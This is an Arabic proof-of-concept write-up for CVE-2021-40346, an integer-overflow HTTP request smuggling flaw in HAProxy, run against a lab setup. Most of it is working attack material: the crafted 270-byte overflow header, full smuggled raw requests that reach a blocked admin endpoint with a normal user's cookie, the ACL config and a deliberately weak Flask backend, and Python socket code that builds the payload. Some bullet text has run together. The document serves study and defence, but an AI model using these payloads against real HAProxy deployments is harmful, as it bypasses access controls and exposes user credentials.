
تهريب طلبات HTTP
يُظهر هذا المشروع CVE-2021-40346، وهي ثغرة حرجة في تجاوز عدد صحيح في HAProxy تُمكن من هجمات تهريب طلبات HTTP لتجاوز ضوابط الأمان.
درجة CVSSv3: 7.5 (عالية)
CVE-2021-40346 هي ثغرة تجاوز عدد صحيح في منطق تحليل رؤوس HTTP في HAProxy. عندما يتجاوز اسم الرأس 255 بايت، تفيض قيمة الطول من حقل 8 بت، مما يتسبب في تفسير HAProxy للرأس بشكل خاطئ أثناء إعادة توجيه الطلب.
يرسل المهاجم: اسم الرأس = "Content-Length0" + 255×'a' = 270 بايت
المرحلة 1 (التحليل الأولي):
name_length = 270 % 256 = 14 (تجاوز 8 بت)value_length = 1Content-Length: 60 ويعامله كطول الجسمالمرحلة 2 (إعادة توجيه الطلب):
"Content-Length""0"content-length: 0 إلى الطلب المُعاد توجيههContent-Length: 60 (وفقًا للمنطق الطبيعي)معالجة الخلفية:
content-length: 0 من HAProxyلنفترض أن HAProxy مُكوّن بقواعد ACL تُقيّد الوصول إلى مسارات المشرف:
http-request deny if { path_beg /users/admin }
في إثبات المفهوم الخاص بنا، نستخدم جلسة مستخدم عادي (alice) للوصول إلى نقطة النهاية المحمية /users/admin التي يجب أن تكون متاحة فقط للمشرفين.
الطلب الخبيث (الطلب 1 - التسميم):
POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 78
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:
الطلب الذي يُعيد توجيهه HAProxy:
POST / HTTP/1.1
host: 127.0.0.1:8080
content-length: 0
x-forwarded-for: 192.168.188.1
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:
طلب الإكمال (الطلب 2):
GET / HTTP/1.1
Host: 127.0.0.1:8080
الطلب المهرب الكامل الذي تعالجه الخلفية:
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:GET / HTTP/1.1
Host: 127.0.0.1:8080
النتيجة:
content-length: 0 (ترى ACL مسارًا آمنًا)/users/admin كطلب معلقمثيل HAProxy الضعيف مُكوّن بقواعد ACL لحماية نقطة نهاية المشرف:
...
# ACL لاكتشاف الوصول إلى نقطة نهاية المشرف
acl is_admin_endpoint path_beg /users/admin
# ACL للتحقق من وجود كلمة جلسة المشرف
acl has_admin_session cook(session) -m beg admin_
# منع الوصول إلى نقطة نهاية المشرف إذا لم يكن لدى المستخدم جلسة مشرف
http-request deny if is_admin_endpoint !has_admin_session
...
النقاط الرئيسية:
/users/admin محجوبة ما لم تبدأ كلمة الجلسة بـ admin_user_) ممنوعونخادم الخلفية لديه ثلاثة مستخدمين ونقطة نهاية مشرف:
USERS = [
{'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
{'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
{'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
]
@app.route('/login', methods=['POST'])
def login():
# ... منطق المصادقة ...
# إنشاء رمز جلسة ببادئة الدور
prefix = 'admin_' if user['role'] == 'admin' else 'user_'
token = prefix + secrets.token_hex(16)
resp.set_cookie('session', token, httponly=True)
return resp
@app.route('/users/admin', methods=['GET', 'POST'])
def users_admin():
# إرجاع بيانات حساسة تشمل جميع كلمات مرور المستخدمين
rows = ''.join([
f"{u['id']} | {u['username']} | {u['email']} | "
f"{u['password']} | {u['role']}"
for u in USERS
])
return f"ADMIN PANELAll users with passwords:{rows}"
نموذج الأمان:
user_a1b2c3d4...admin_a1b2c3d4.../users/adminلماذا ينجح هذا:
POST / (مسموح)POST / (لا يوجد تقييد للمشرف)content-length: 0 (بسبب خطأ التجاوز)GET /users/admin غير المكتملGET /users/admin مباشرةً، مُظهرةً كلمات المروردرس الدفاع المتعمق: يوضح هذا لماذا لا ينبغي للخلفيات أن تثق بشكل أعمى في الوكيل. حتى مع وجود قواعد ACL الخاصة بـ HAProxy، يجب على الخلفية:
@require_admin)الاعتماد فقط على التحكم في الوصول على مستوى الوكيل يُنشئ نقطة فشل واحدة.
يُظهر إثبات المفهوم تجاوز قواعد ACL الخاصة بـ HAProxy للوصول إلى /users/admin باستخدام جلسة مستخدم عادي من خلال أربع خطوات رئيسية:
# تسجيل الدخول كأليس (مستخدم غير مشرف)
body = "username=alice&password=alice123"
login = f"POST /login HTTP/1.1\r\n" \
f"Host: {TARGET}:{PORT}\r\n" \
f"Content-Type: application/x-www-form-urlencoded\r\n" \
f"Content-Length: {len(body)}\r\n\r\n{body}".encode()
sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(login)
time.sleep(0.5)
# تلقي الرد واستخراج رمز الجلسة
resp = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break
resp += chunk
sock.close()
session = resp.decode().split('session=')[1].split(';')[0]
print(f"✓ Session: {session[:35]}...")
الغرض:
/users/admin# صياغة طلب مهرب غير مكتمل يستهدف نقطة نهاية المشرف
smuggled_incomplete = f"GET /users/admin HTTP/1.1\r\nCookie: session={session}\r\nDUMMY:"
التفاصيل الحرجة:
/users/adminDUMMY: (بدون CRLF) لإبقاء الطلب غير مكتمل# إنشاء رأس فائض (270 بايت = 14 بعد تجاوز 8 بت)
overflow_header = "Content-Length0" + ("a" * 255)